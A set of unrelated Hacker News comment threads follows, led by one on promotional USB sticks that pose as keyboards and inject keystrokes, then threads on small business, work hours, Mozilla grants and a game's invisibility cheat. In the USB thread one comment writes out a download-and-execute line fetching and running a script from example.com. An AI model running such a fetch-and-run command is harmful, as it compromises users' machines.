<comment><USER10> Various devices tend to either have serial number empty (for example both my keyboard and mouse, Sun and Logitech respectively, so not exactly cheap Chinese crap) or filled with some random garbage that is not unique at all ("123456", "Serial" and so on).

One would assume that "garbage in iSerial" is workaround for Windows' behavior of identifying devices by either it's serial or physical port and requiring distinct driver registrations for devices that are "different" according to this logic.

<comment><USER11> it might still be useful to filter based on type. if you expect a mass storage device you don't want it to register as input device.

</comment></comment></comment></comment></comment></comment><comment><USER12> This is an operating system problem. When a new device is plugged in and claims to be a keyboard, it should lock the screen and not be accepted as input until it has typed the user's login password.

<comment><USER13> This instantly breaks Yubikey among other things.

<comment><USER14> A lot of security fixes break features that would otherwise be classified as exploits.

</comment></comment></comment><comment><USER15> So will this USB firmware situation eventually be solved in some newer version or are we all just silently ignoring this?

Because this makes USB an absolute NO in some environments (and for quite a while now).

It would be nice if we could use USB again at some point…

<comment><USER16> > So will this USB firmware situation eventually be solved in some newer > version or are we all just silently ignoring this?

No, it will not be fixed. There is no vulnerability. We need to plug in keyboards, and if users are willing to plug random devices into the ports where their keyboards lie, those peripherals can inject keystrokes.

We can play whack-a-mole and blacklist the vendor/product IDs (like systemd does), but if this were a real attack and not a stupid marketing stunt, the device would just present itself as some popular cheap keyboard and there'd be no way for the computer to tell it apart from one.

There are many other ways you could attack USB or other connectors if you get a user to plug your hardware in there, most are more involved than this one. The only solution is to educate people to not plug hardware they don't trust into their machines.

<comment><USER17> That systemd thing is hilarious in its tragic misunderstanding.

Basically a patch was offered that would lock a computer if a new device was plugged in. This to counter act police mouse wigglers etc.

But Poettering decided that no that was too heavy handed, lets instead black list the specific product id. Never mind that changing a product id is a firmware flash away (one could probably make a wiggler that randomize its id on each insertion).

<comment><USER18> It is too heavy-handed. Locking the computer every time I plug in a controller or some other HID?

What if the battery dies in my wireless keyboard, and I need to plug in another one temporarily? How could I possibly type in the password at a lock screen with one dead keyboard and all new keyboards forbidden?

<comment><USER19> With your mouse.

I'm being cheeky but any good lock screen should have an onscreen keyboard button.

And it should only need to do it the first time you plug it in.

<comment><USER18> Not all lockscreens do. Using MATE on this machine, no such button. I don't believe the KDE 4.4 one does either. The greeter might, but not the lockscreen.

</comment></comment></comment></comment></comment></comment><comment><USER12> Distributing a USB device that pretends to be a keyboard and types commands is somewhere between faux pas and criminal hacking attempt. Even if the intent was innocent, it has to be investigated like a breakin to be sure. In this case it sounds like it was closer to the faux pas side.

<comment><USER20> What bothers me in these situations where there is (arguably) room for interpretation over the gravity of the act is the double standards. BigCompany does something harmless but illegal? They have the resources to make it sound completely benign to a court. Some random person gets hauled to court over an arguably harmless/moral grey zone matter and the story ends much differently.

<comment><USER21> I was going to say that. Reminds me of Sony's RootKit. Did any Sony exec get prosecuted for "hacking"? Nope.

</comment></comment></comment><comment><USER22> I suspect that a legal approach might work here. Elsevier was being deliberately misleading and was deliberately making a computer do something that the owner of that computer had not authorized. There must be some computer crime statute they could be charged under.

<comment><USER23> On a naive reading it breaches the Computer Misuse Act in the UK and the CFAA in the USA both of which have terms guarding against unauthorised access. You need more wrangling to read it in to a normal interpretation of the CFAA however.

IANAL.

</comment></comment><comment><USER24> I made a thing like this for the office with an Arduino Trinket: [https://github.com/jgrahamc/missile_command](https://github.com/jgrahamc/missile_command)

</comment><comment><USER25> [https://news.ycombinator.com/item?id=10203010](https://news.ycombinator.com/item?id=10203010)

<comment><AUTHOR> Huh, how did that get past the dupe detector? It's exactly the same URL.

<comment><USER26> The dupe detector now takes into account the amount of attention previous submissions received.

<comment><USER27> Might be nice if it could bump a post back to "new" when the dupe detector finds a dupe with not-very-much-attention - that way, effectively the comments are merged.

</comment></comment></comment></comment><comment><USER28> I wonder if it's hard-coded or if you could make it do something else. Hak5 has been selling programmable versions of these for a while. [http://hakshop.myshopify.com/collections/usb-rubber- ducky/pr...](http://hakshop.myshopify.com/collections/usb-rubber- ducky/products/usb-rubber-ducky-deluxe?variant=353378649)

<comment><USER29> This is common in the pentesting world. If you can get physical access to a USB port for just a few seconds you can enter the keystrokes to open up a port (or reverse SSH) to the outside world. With only three different procedures (one for Windows, Mac, and Linux) you can own 99% of the computers in the world.

</comment></comment><comment><USER30> not sure if this has been mentioned, but this sounds like the Rubber Ducky

[http://hakshop.myshopify.com/products/usb-rubber-ducky- delux...](http://hakshop.myshopify.com/products/usb-rubber-ducky- deluxe?variant=353378649)

just contributing something of interest.

<comment><USER31> Yeah exactly, this has been out for a while. Not sure why this is on the front page of HN.

<comment><USER32> Most likely due to the fact that a publishing company was utilizing this "hack".

</comment></comment></comment><comment><USER33> Stuns me that someone thought this would be a good idea.

Oh hey my free USB device helpfully made me go to a webpage without warning and without permission, these guys are wizards and deserve my custom.

<comment><USER34> Well, it's Elsevier. The fact that it only _potentially_ exploited your system and didn't attempt to grab your banking password might actually be taken as a legitimate sign of improvement.

</comment></comment><comment><USER35> Ancient. The latest fun project enabling this sort of thing is Samy's USBDriveby project:

[https://www.youtube.com/watch?v=aSLEq7-hlmo](https://www.youtube.com/watch?v=aSLEq7-hlmo)

And yes, you totally can detect operating system, bypass HID protections, and deliver custom weaponized payloads in the form of scripts catted into the command prompt.

</comment><comment><USER36> Anybody know whether [https://www.gdatasoftware.com/en-usb-keyboard- guard](https://www.gdatasoftware.com/en-usb-keyboard-guard) works well and can be trusted?

</comment><comment><USER37> What is the url?

Seems like a juicy target for a hack on the server side.

</comment><comment><USER38> My employer blocks USB memory sticks... but still permits keyboards and mice for convenience. I am not sure what they hope to accomplish.

<comment><USER35> They hope to prevent people from putting sensitive documents on unencrypted media that's easy to lose.

There have been worms that spread through autorun and shell exploits, but I think that's a secondary concern.

<comment><USER38> ... except I don't have access to sensitive information (because we have a decent separation between programmers and ops related to PII), and I do have full access to the entire internet, which is a great alternate insecure transfer medium.

</comment></comment></comment><comment><USER39> A friend of mine works at an univeristy in Germany and one of his last projects was exactly this.

They were to build a device using a teensy that starts up a webpage once plugged in. It needed to work on major OSes and *nix systems. Win7/8/10, OSX, Ubuntu.

This was for some conference as well where they were to be used...

</comment><comment><USER40> Apparently some of these are reprogrammable by just rewriting the onboard I2C EEPROM:

[http://blog.opensecurityresearch.com/2012/10/hacking-usb- web...](http://blog.opensecurityresearch.com/2012/10/hacking-usb-webkeys.html)

Could be a fun weekend project.

</comment><comment><USER41> There's an off-the-shelf USB that you can buy called a Teensy[1] that is programmable and automatically registers itself as a USB HID. Very similar to what is described here.

[1] [https://www.pjrc.com/teensy/](https://www.pjrc.com/teensy/)

</comment><comment><USER42> And that's a feature, not a bug. I have a YubiKey and it does a similar thing, but for good not evil. It would be tricky for an OS to not register keyboards (after all, how would you vouch for an input device without using an input device?).

tl;dr don't plug unknown things into your computer.

<comment><USER43> > after all, how would you vouch for an input device without using an input > device?

Separate built-in device, or specific signal sequence inputtable on the IME the device registered itself as e.g. if you plug in something which advertises itself as a keyboard, the system sandboxes it and asks that you input a specific password which it displays; for a pointing device it might ask you to move the pointer to specific places and click on them.

<comment><USER44> I like this. It feels pretty similar to the "enter this random set of numbers" method for some Bluetooth keyboard pairings.

</comment></comment></comment><comment><USER45> I don't worry much about inserting wacky storage devices, as I run Linux, and I don't have any kind of auto-run enabled.

But this would still work on my machine, right? (I mean that the key combo would be entered; it might not actually bring up the web page, depending on my setup.)

<comment><USER46> Yes, and worse it could do something like:

ALT+F2 wget [http://example.com/badscript.sh](http://example.com/badscript.sh) && chmod 755 ~/badscript.sh && ~/badscript.sh &

Which is not so good...

<comment><USER47> Oh it would _suck_ to have to put a shorter timeout on _sudo_.

</comment></comment></comment><comment><USER48> I wonder if it is possible to fingerprint USB keyboards of same make (with same dummy serial number) to tell them apart. For example one could try to exploit frequency deviations of the crystal oscillator in the keyboard.

</comment><comment><USER49> Hyundai did this years ago in 2011 when I bought my car. They sent me a USB key that emulated a keyboard. It opened up the Hyundai registration page, and may have typed my VIN in for me. This isn't new at all.

</comment><comment><USER50> A few years back a colleague (at the time) went to a MongoDB event where they pulled this same stunt, handing out usb drives that would act like a keyboard and hijack the machine.

Both clever and reprehensible.

</comment><comment><USER51> It's not an attack unless you write to the hard-drive. This is more of a nuisance, and a bad move, and troubling for what it _could_ be, but the thing itself looks harmless.

</comment><comment><USER52> is this done to boost the called site's search rank?</comment>


Human Intervention as a Competitive Advantage - <AUTHOR> http://sivers.org/hi <comment><USER2> This is fantastic advice. Being small can be an asset, yet it's often treated as a liability. Sure, there are some things your company can't do because you don't have as much cash in the bank as Google, but there are some things your company _can_ do that Google can't compete with because it's too big.

<comment><USER3> The size is neither an asset nor a liability - its just an attribute.

However size can determine whether you can do certain things. Unfortunately, small size prevents you from making profit from economy of scale, and so you must somehow differentiate with other attributes (such as personalized services).

But i think the market has spoken - large size business is more valuable and thus make more profit than a small sized business.

<comment><USER4> Googling "what percent of economy is small business" yields

[http://usgovinfo.about.com/cs/businessfinance/a/sbatopten.ht...](http://usgovinfo.about.com/cs/businessfinance/a/sbatopten.htm)

<comment><USER5> 10\. Small businesses make up more than 99.7% of all employers.

9\. Small businesses create more than 50 percent of the nonfarm private gross domestic product (GDP).

From this it follows that "not-so-small businesses" create the other 50% of nonfarm private GDP, despite being only 0.03% of employers right? So what is the conclusion exactly?

<comment><USER6> The conclusion is simple - economies of scale for larger businesses are incredibly powerful.

<comment><USER5> To me it says that small businesses are the long tail, but large businesses are also interesting and valuable in their own right. Both are going to be around, and a "healthy" distribution is probably good for us.

</comment></comment></comment></comment></comment></comment><comment><USER7> I completely agree. When you're a small startup, few things are in your favor. It's worth every minute to pour over creating a great experience, even if it's done by hand.

@MassageJoy (<http://www.massagejoyspa.com>), we're currently going through Pinterest and the wider web, and pulling things together to create thoughtful Care Packages for our clients.

Is it hella expensive? Yes. But that doesn't matter. The basic point is to make sure the experience that we deliver is unmatched. And we're either going to do that or die trying.

<comment><USER8> Are you a sexual service? Maybe you should consider posting on backpage.. "Book Online in Secs" sounds like "Book Online in Sex"...

<comment><USER7> We are NOT a sexual service - I'm not sure if you were joking, but I'm honestly offended. At the same time, if you were being serious, I'm happy that you asked instead of making an assumption.

One more time: We ONLY do professional massage therapy.

<comment><USER9> I think he is being genuine but a bit brash. The advice is sound and I second it.

</comment></comment></comment></comment><comment><USER10> When people ask me "So what technology are you using for transcription and sound editing?" I answer "Humans. The end product is to be used for marketing. Computer technology is not good enough today. That is also why my price per transaction is so high".

Them: "But that will not scale, your costs will be too high!" Me: "I really want that problem. I also want to have the problem of having to pay too much in taxes"

</comment><comment><USER11> Love how the acronym for human intervention is "Hi".

<comment><USER12> :-) Thanks for catching that.

</comment></comment><comment><USER13> Very good article (as always from Derek). I'd just like to point out something he didn't mention in the article: Derek was coming at this mostly from a "User Experience" angle. But there's a very clear business angle to this as well.

While most startups gloss over this fact, programming time costs money. Sure, if it's you doing the programming you're not actually paying yourself money, but that's a fiction - you're costing yourself a ton of money on opportunity costs.

So when you're trying to make a decision on whether to automate or not, you should also take into consideration how much money it costs to automate, versus how much it costs to program. A good programmer costs thousands of dollars a month, so spending a month building an automated billing system (for example) _isn't a good business decisions_ if the alternative is paying someone $100 a month for going over 30 customers and manually doing the billing.

Not to mention the fact that a month spent building things that can be cheaply automate is a month farther from getting market validation for your product.

</comment><comment><USER14> NYTimes article on a similar theme: [http://www.nytimes.com/2013/03/11/technology/computer- algori...](http://www.nytimes.com/2013/03/11/technology/computer-algorithms- rely-increasingly-on-human-helpers.html?partner=yahoofinance&_r=0)

</comment><comment><USER15> I think this is good advice but I have to nitpick one thing: as a former music director for a popular indie rock station, I have to disagree that listening to new music all day is "The coolest full-time job in the world."

Joking aside, we adhere to his/pg's do more work principle almost to a fault. I constantly try to make it such that my customers have to do as little as possible to get our products to work for them and so far that has proven valuable.

<comment><USER16> This sounded less like the traditional editor's job of "wading through the slush pile", and more like "clustering great albums against other great albums from a pre-screened pool." Must be nice ;)

</comment></comment><comment><USER17> His advice really is 'good user experience is good; bad user experience is bad.' Human intervention is not essential to good user experience in most of his examples; he compares the human versions to poor implementations of automation. A form with some validation and normalization is probably a better user experience than having a human review the fields.

<comment><USER16> I wouldn't say that was his advice at all. I read it as being something more like "there isn't always a (known, or sensible-ROI to research) way to make an automated user experience anywhere near as good as what you get by just having a human do it."

</comment></comment><comment><USER18> Great advice. And quite a cool story!

It's interesting to note that Derek mentions about doing this (sort-of) front- line work yourself, but then outsource it when it grows so much that it would take too much of your time that you put on your core activities. Some entrepreneurs stay in the first phase or move from it to automation too quickly.

</comment><comment><USER19> It's interesting reading this story, if I were in the author's place, I would have felt embarrassed to admit this point. Like our company isn't technically adept enough to implement a recommender.

<comment><USER20> Technically adept or not, his human-based recommender was so good that the CEO and VP of a 'hugely funded' online music company were willing to fly all the way from SV to NYC to hear about it.

</comment></comment><comment><USER21> Is it too pessimistic to expect not to scale? How well has Apple's App Store reviews scaled? Aren't Apple still using humans to test apps before letting them on their market?

</comment><comment><USER22> Any tips on how to hire/contract a team with some reputable local manager from China/India/a third world country to do this at reasonable prices, while staying physically in the U.S. or Europe?

Because obviously this is not feasible at the uncompetitive wage levels + confiscatory taxation in the "first" world.

<comment><USER23> This is what I do. Please feel free to contact me (details in my profile).

</comment></comment><comment><USER24> Isn't that how Yahoo worked in the early days? They had humans categorize web sites? Well, the only way to make that scale massively is exactly what amazon (mentioned in the article) currently does...have human reviewers work (but for free.) Google essentially did the same thing with pagerank.</comment>


Ask HN: At which companies do programmers work less than 7 hours a day? - <AUTHOR> It's pretty hard to find information on work hours for companies. Also since obviously the work hours on a particular day depends if you are in a busy period or not, I think an average across 6 months would be a pretty good estimate. <comment><USER2> Some options:

1\. [https://www.keyvalues.com/](https://www.keyvalues.com/) is great job board that has some companies that explicitly claim they have work/life balance. The writeups let you see working hours in some cases, for good or for bad; make sure to read them, they all have different definitions of work/life balance.

2\. You can apply to any company that sounds like it'll be reasonable, and if you get a job offer negotiate a shorter workweek. I've done this, and I also interviewed someone who did this at 7 or 8 different companies: [https://codewithoutrules.com/2018/01/08/part-time- programmer...](https://codewithoutrules.com/2018/01/08/part-time-programmer/)

3\. Negotiate a shorter workweek at your current job. Actually easier than finding a new job.

4\. Just... work less hours. I.e. you're at normal 40-hour/week job, and you just work 7 hours a day. If you're good at what you do you'll be just as productive, if not more. I did that involuntarily at some point due to RSI limiting how many hours I could type. No one complained about shorter hours because I was productive enough. Downside is companies often judge you by hours in office, not by output ([https://codewithoutrules.com/2017/06/21/why- company-want-lon...](https://codewithoutrules.com/2017/06/21/why-company-want- long-hours/)).

I cover these and other approaches in my book: [https://codewithoutrules.com/saneworkweek/](https://codewithoutrules.com/saneworkweek/)

</comment><comment><USER3> All of them. Some have their butts in their seats for longer than that, but very few employees are generating 7+ hours of productive work on a daily basis for any extended period of time.

<comment><AUTHOR> I think that's well known. I'm asking the "official hours"

<comment><USER4> It could be dumb luck, but I haven't worked at a company that had official hours in about 17 years. I've got used to working at companies where as long as you produce good work, show up to scheduled meetings, and don't outright embarrass your boss, you can come and go as you like.

<comment><USER5> This depends heavily on the country.

Southern Europe really has an "ass in the chair" perspective to work, despite resembling relaxed/lazy to the outsiders.

Netherlands and Nordics, from what I heard, are the opposite.

</comment></comment></comment></comment><comment><USER6> In the Netherlands, it's pretty typical to work 32 hours a week. Over 5 days, that's less than 7 hours a day. Though most people prefer having 8 times 4 and take a day off :)

</comment><comment><USER7> In Sweden at a big company, your day as a programmer usually has a few meetings and a lot of social interaction with colleagues. Maybe you get 3-4 hours of programming every day if you are lucky and can focus in the noisy open office environment. Im in the office about 7 hours every day. Salary is excellent for Swedish standards and living costs.

<comment><AUTHOR> May I ask what the typical programmer's salary is there?

<comment><USER8> Depends on where in Sweden. Salaries in Stockholm are higher than the rest. I live in southern sweden, entry level is just over 30'SEK (USD4000), senior over 40' (USD5000). Varies from company to company and by industry etc. But around that ballpark generally

<comment><USER9> Interesting. Those numbers are not that different from Prague (my city). I expected much higher salaries in Sweden.

<comment><USER5> 4k-5k euro net monthly also seems to be in the ballpark for senior dev contracting rates in Warsaw.

</comment></comment></comment></comment></comment><comment><USER10> Less than 7 hours (6 or less) is typically considered a part time arrangement. If you're a high performer, you can try to negotiate for this kind of situation, but it's rare to start a job with that type of benefit. You should expect to lose a proportionate amount of your salary, (keep in mind that depending on your tax bracket, the percentage hit to your take home will be less affected.)

The benefit of being officially on part time is that it sets everyone's expectations and shouldn't negatively impact your promotion trajectory, especially if you're able to fulfill your duties on a part time schedule.

</comment><comment><USER11> The broke ones. :)

<comment><USER12> The broke ones need you to work 15 hrs a day and "you'll get your backpay once were back on our feet"</comment></comment>


5 Reasons You Should Never Agree to a Police Search - <AUTHOR> http://www.alternet.org/civil-liberties/5-reasons-you-should-never-agree-police-search-even-if-you-have-nothing-hide

<comment><USER2> #5, although I've never tracked that into the car, I have had a cigarette stick to my shoe and end up on the floorboard.

I see vehicle searches all of the time here. Mostly on the interstate. I always wonder why the driver doesn't refuse. Could be they would be detained until the k9 unit arrives. If that were the case who knows how long they will be waiting.

<comment> atom-morgan > I always wonder why the driver doesn't refuse.

As stated in the article, I think most people don't know it's within their rights to refuse. That and cops also intimidate you into consenting to a search.</comment></comment>


Thoughts on the iPhone 4 Press Conference - <AUTHOR> http://www.appleoutsider.com/2010/07/17/townhall/ <comment><USER2> This really doesn't add anything that hasn't been said in the earlier posts here on this particular topic.</comment>


Ask HN: What's the perfect job for a tinkerer? - <AUTHOR> <comment><USER2> I assume if you say you're a tinkerer that means you are someone who likes a "generalist" approach to learning.

Some things come to mind:

\- Librarian \- Car Mechanic (so many different systems in a car, electrical, fuel, mechanical, sound, etc) \- Park Service or Forest Service (have to fix a lot of stuff out there on your own)

In the end, today all you can ask for is a job that pays well and doesn't treat you like shit. Most jobs no one works the full 40 hours. Maybe just do 35 hours at your real job, and 35 hours doing whatever you want (joining the maker movement seems like a good idea).</comment>


Mozilla Launches Open-Source Support Program - <AUTHOR> https://blog.lizardwrangler.com/2015/10/23/mozilla-launches-open-source-support-program/ <comment><USER2> It'd be cool if MOSS could return funding Mozilla's own Persona hackers to work on a next gen open identity platform.

<comment><USER3> Yes, it would be. I was going to comment on this, you beat me to it.

Some background on yesterday's discussion: [https://news.ycombinator.com/item?id=10436423](https://news.ycombinator.com/item?id=10436423)

Dan's call to action yesterday: [https://news.ycombinator.com/item?id=10436366](https://news.ycombinator.com/item?id=10436366)

I personally believe such a project _should_ come from inside Mozilla and not be given a mere 2 years before slashing it away. Persona needs love and funding, and according to Dan there's still design issues to fix. A Persona 2.0 would fit this program just fine.

<comment><USER4> I came here to comment on this as well. Replacing the world's authentication is a project that will probably take _slightly_ longer than two years, and I would like to see Mozilla continue to support it, especially given how many people were this excited by it.

</comment></comment></comment><comment><USER5> From the wiki:

 _Mozilla Open Source Support (MOSS) is a grant program specifically focused on supporting the Open Source and Free Software movement, with an initial allocation of USD $1 million.

Mozilla is a part of the Open Source and Free Software movement. We were born out of this movement. We prosper because of the technology and activism which comes from this movement. And we know that Open Source and Free Software remains a key part of the Internet and the online life we seek to build. We have had an ad-hoc grants program for many years. MOSS is a systematic way to provide a new level of support to this community.

The Mozilla Open Source Support program is designed to recognize and celebrate communities who are leading the way with open source projects that contribute to our work and the health of the Web. It encompasses both: a) a "give back" element for Open Source and Free Software projects that Mozilla relies on; and b) a "give forward" element for supporting other projects where financial resources from Mozilla can make our entire community more successful. We will identify crisp names for these elements as we go forward._

[https://wiki.mozilla.org/MOSS](https://wiki.mozilla.org/MOSS)

</comment><comment><USER6> Hm,I have mixed feelings about this. On one hand it is nice of them to give some of the money back to the projects they are building on, but on the other hand this can wreak havoc on them. People there didn't do it for money... Wut mobey in the mix, some might get greedy, some might feel left out, and some might just lose interest because now it's just another job and that's bot what they were looking for. So, careful here, Mozilla.

<comment><USER7> On the other hand, some people can't do it for no money.

</comment></comment><comment><USER8> For some reason I always thought that Bugzilla (maybe due to the name) was a product of Mozilla.

I also expected PDF.js to be a Mozilla product, I'm fairly sure it was developed by Mozilla employees to handle PDF's in Firefox, but I could be wrong.

So I was surprised to see them listed as potential receivers of this new grant.

<comment><USER9> The list is on the wiki and everyone was encouraged to add stuff without a whole lot of guidance as to what in particular qualifies, so take that list with a grain of salt.

For the record, Bugzilla and PDF.js are both Mozilla projects.

</comment></comment><comment><USER10> Maybe Mozilla Persona should apply.

</comment><comment><USER11> Anyone has good experiences to share about any open source mentorship programs for professionals ?

<comment><USER12> Just start contributing. There's no better way to learn than reading and understanding code. For me the most important item is a project that you personally connect with.

In my experience most projects are very kind to new contributors and someone will usually step up and gently guide. Quality code reviews have been most the effective mentorship I've had in Open Source and out.

</comment></comment><comment><USER13> Please consider about Webian Shell, browser UI for desktop have to be updated.</comment>


Methane in Atmosphere May Greatly Exceed Estimates - <AUTHOR> http://www.nytimes.com/2015/08/05/science/methane-in-atmosphere-may-greatly-exceed-estimates-report-says.html

<comment><USER2> The title of this article has changed since its submission to HN. It is now "Methane Leaks May Greatly Exceed Estimates".</comment>


Ask HN: Is it a mistake to launch an app that only supports iOS 5.x? - <AUTHOR>

http://stackoverflow.com/questions/9094584/launching-an-app-for-ios-5-and-beyond-only-a-mistake <comment><USER2> Here's the usage numbers by version for the last month on my Planet Minesweeper game:

<http://imgur.com/Mu7Tp>

It's a universal app, so this covers iPhone and iPad. Over 80% of users are on 5.0 or above.

My take on this is that if there is any iOS 5 feature that would make your life easier and save you time, or make your user's experience better, then go for it and don't worry about backwards compatibility. But if there's nothing specific drawing you to iOS5 go ahead and support old versions, it's not that much extra work to test and support older versions.

</comment><comment><USER3> Here's one thing to think about: What does you app do? If it's something that is going to run poorly on older devices, the ones that aren't upgradable past iOS 4, then I would say only target iOS 5. More people are updgrading their devices every day and that means they're getting the latest version of the operating system. If you'd like to rely on rumor, think of all the people that will be upgrading after WWDC in a few weeks.

I say go for it, you'll have a large enough install space as it is with iOS 5, I wouldn't worry about your lost users.

</comment><comment><USER4> I launched my app (Finderous) only on ios 5.x becuase 1\. I didn't want to support an OS that is already shrinking in usage. 2\. It's just a matter of time people will upgrade to IOS 5.x as it is free. 3\. I learnt ios programming only on 5.x 4\. I found it time consuming to learn pre 5.x programming once I started with 5.x :)

<comment><USER5> Not everyone can upgrade to iOS 5.x for free. I had a first-gen iPod which couldn't upgrade to 4.x. The older devices have limitations on which iOS upgrades they can get.

</comment></comment><comment><USER6> My guess is that the numbers will change significantly in the next few days as a large percentage of users holding on to 4.3.3 are doing so because it was the last easy untethered jailbreak. Now that 5.1.1 is jailbreakable many users will upgrade.

</comment><comment><USER7> There are some pretty big apps that are iOS5+. Instapaper for example.</comment>


The Lost Wax Method of Rewriting Software - <AUTHOR> https://makers.airware.com/engineering/lost-wax-method-rewriting-software/ <comment><USER2> This seems like a rather fluffy way to describe "prototyping and refactoring"

<comment><AUTHOR> Can you say more? If I understand what you mean by prototype and refactor it seems like a reasonable way to iterate.

What I was getting at in the article was completely transferring a production app (presumably under load and with customers) from one language to another.</comment></comment>


The See-Invisibility Exploit in Games: How it works - <AUTHOR> http://shenglong.posterous.com/interlude-the-see-invisibility-exploit

<comment><USER2> #1 rule: Never trust the client. You're sending the client data that it doesn't need (the invisible characters.) Instead of having it tattle when the client can see things it shouldn't, you should just not let it have that information in the first place.

Because there's still a way to cheat: Packet sniffing. Sure, they won't get as much info as they used to, but because it doesn't interact with the client at all, they can't get caught. Then they just write an overlay for the client so they can visually see the invisible characters, and poof... They're undetectable again.

<comment><AUTHOR> It's impossible. The server doesn't send a name packet unless requested. If they request it through individual packets, the requested IP is still recorded, and can be matched (we log all login-in events with an IP) to an account.

If I were to lead a game now, I'd definitely have things designed differently. You're right - a programming fix would've been desirable, but was unfortunately not a possibility at the time :(

<comment><USER3> The point is for the cheater to _not ask for the name_. Even simpler than an overlay, if you figure out how cheater detection works, is to filter the outgoing name request packet.

Edit, looking at your other post: Can't the packet editor that's marking people visible send a fake name to the client?

<comment><AUTHOR> No, because the client is not telling the server the player's name. The server already knows, and sends that info to the client. You can definitely not ask for a name, but that would be a moot point, because it wouldn't be very useful at all.

If you want to know who is there, you _have_ to request the name packet.

<comment><USER4> It still seems quite useful to know _someone_ is there, and where they are. There's a big difference between "invisible enemy" and "stranger with a mask".

</comment></comment></comment></comment></comment><comment><USER5> I like how instead of "how can we make cheating technologically impossible", you instead went "how can we make cheating completely undesirable."

I'd also imagine that most (maybe all) of your cheaters had a reaction more along the lines "finally!" rather than "aww, shucks."

I remember in the game NetStorm (wasn't a big hit), everyone basically used a "money cheat." Why? Because you had to, since everyone else used it.

</comment><comment><USER6> If you had that much power, you should have gotten your team to write something fun for the remaining 1% users of the hack you uncovered. Something like mark each player caught clicking on an invisible toon, wait until a certain time, and then WHABAM: Everyone caught gets a 5 day un-cleansable debuff that removes x% percent of their max health per second, but never making the killing blow. Put a cryptic tooltip for the debuff icon saying something like: Those who weild the eyes of the devil are now paying with their souls. Also, if their health drops below 10 percent, start automatically making them consume their potions at 10/sec!

<comment><USER7> Famously (well, famous if you were into MMOs & high-end raiding 10 years ago), EQ did something similar to what you describe. An end-zone boss wasn't supposed to be reachable before obtaining certain keys that weren't even in the game yet. Folks that had used in-game mechanics to bypass the doors one day logged on to find items like <http://everquest.allakhazam.com/db/item.html?item=17057> replacing their original loot.

</comment></comment><comment><USER8> The purpose of the visibility feature was for positioning purposes. Determining player position is not a trivial task, and the information is not unnecessary, it was an engineering generalization that made certain game features easier to develop. It was not because of poor programming.

For instance, if you were to equip a Maya Purple card, all it would simply do is turn the visibility on, rather than the server doing a check for every player who has the card and changing the size of the packet for that particular person.

Walking animation is implemented by the client as well. If the invisible person was in the middle of walking and they were detected, how would you position a player with only their end position since initial position wasn't sent to the client? You can't. They'd just appear to the end position instantly, skipping the walking animation.

While you feel can feel superior to the developer and believe the programmers at Gravity are being bad programmers, you have to think about the reasons behind it, so you don't spring more leaks by fixing what you think is a trivial bug. It's sort of like a leaky water pipe. Fixing the leak in one area may induce pressure in other areas and cause leaks elsewhere.

"Let me give you an example of server load: On RO, potions can be consumed at a most, 10 per second. With 2,000 players all consuming on average 5 potions per second in Siege War, there are about 20,000 MySQL inserts per second, counting inventory and logs - which is taxing enough by itself."

I'm being nitpicky, but if you're using eAthena, I believe that inserts are batched rather than instantaneous. And each player is not consuming 5 potions per second on average, that'd be ridiculous. If you were to average it, it may amount to maybe 1 per second at most. 5 per second is only if you're tapping furiously. I'm sure if each person averaged 5 per second, all your players would either be cheating by packeting or have carpal tunnel.

<comment><AUTHOR> eAthena is batched inserts, which actually makes the problem worse. I'm not speaking from theory when I pose this problem - potion consumption actually caused the server to lag every few seconds (players at the time will attest). If you believe players are consuming one potion per second, I don't think you've played competitive WoE.

For an accurate representation of how fast you can hit a button: [http://www.blamethepixel.com/files.php?a=b&type%5B%5D=11...](http://www.blamethepixel.com/files.php?a=b&type%5B%5D=11&page=2) Download "tapometer". I believe the world record (can't confirm) is 33/second. I can manage about 14 myself on a desktop keyboard.

<comment><USER9> You are saying every player goes through 36k whites/slim whites a WoE, 5 times a week. I can see going through that many if you are an LK running around trying to break the precast, but if you are just sitting in a wizline you might go through 200 in two hours.

<comment><AUTHOR> I should clarify... 5/second, during battles. Battles don't happen the entire two hours. More realistic is 6000 slims a WoE. Also, things have changed. Wiz no longer pot slims because they're too heavy.

</comment></comment></comment></comment><comment><USER10> > We succeeded. People were scared, and they realized we weren't lying. The > amount of invisibility-exploiters dropped from over 50% to less than 1%, and > we went through several Sieges without catching a single cheater. This > remarkable feat gave us a lot of credibility in terms of catching cheaters.

I think you rushed to a conclusion. Did people actually stop cheating? Or did they figure out a way to avoid sending that name-request packet back to the server?

<comment><AUTHOR> It's impossible to do that, unless they managed to write a new client. If they don't request that packet on the original client, it'll cause the client to crash. It also would be of no use to them, because then they wouldn't know _who_ , from which guild, whether it was an ally or enemy, was there.

I also had spies everywhere. If there was an ingenious method of getting around it, we probably would've known. In addition, no one really knew how we were catching them, so it would've required one of the developers to leak (unlikely), or someone extremely intuitive to find out.

I'll admit a possibility - but all the odds are against it.

<comment><USER11> >It's impossible to do that, unless they managed to write a new client.

Possible with ROPS.

Possible with OpenKore (a "new client" itself) in XKore mode.

<comment><AUTHOR> OpenKore wasn't working with Eternity's Silentium[1] active at that point.

[1] Silentium was Eternity's encryption system. I'll post the code some time in a later post, if anyone is curious.

</comment></comment></comment></comment><comment><USER12> "Otherwise known as the Maya Purple Hack, this is a fairly common hack exists in just about every game that incorporates invisibility. On RO--and probably most other games as well--his hack works because of unneccesary information being sent from the server to the client. There are semi-logical reasons for it, but in the end we have to blame it on poor programming."

I get that there are time constraints, code no one wants to deal with, deeply ingrained bad decisions, and who knows what else going on here, but I really think this point could use more elaboration. It IS poor programming. Why not fix the underlying issue and stop sending updates about invisible players to players that can't see them? While ingenious, detecting the mouseover requests isn't really fixing the problem.

"this is a fairly common hack exists in just about every game that incorporates invisibility"

I doubt the "just about every" part of this statement. But I can only say for sure that World of Warcraft does not send players updates for invisible objects (players or otherwise). Not that WoW hasn't had its share of attacks, but it hasn't had this one.

<comment><USER13> Poor programming is a bit of a harsh read of the situation. The "obvious" solution of having the server simulate everything the client is simulating, then only sending the data that the client actually needs to display _isn't free_. It's a great deal more programming effort, with code that will tend to expose every bug in it. What features will you trade away for that? Will the lack of those features end up entirely killing the project?

It also puts vastly more load on the servers, even if perfectly implemented.

It also isn't easy even _if_ you implement this from day one, and is usually going to be virtually impossible to retrofit.

The question isn't about "poor programming" or not; it's a call about the costs and the benefits. The costs are quite large, and as this article demonstrates, if the benefits can be obtained much more cheaply in other ways, it may be a bad _engineering_ decision to spend that much time to do "good programming" on the problem. Quality code isn't free and resources are never infinite.

<comment><USER12> "poor programming" was a quote from the article.

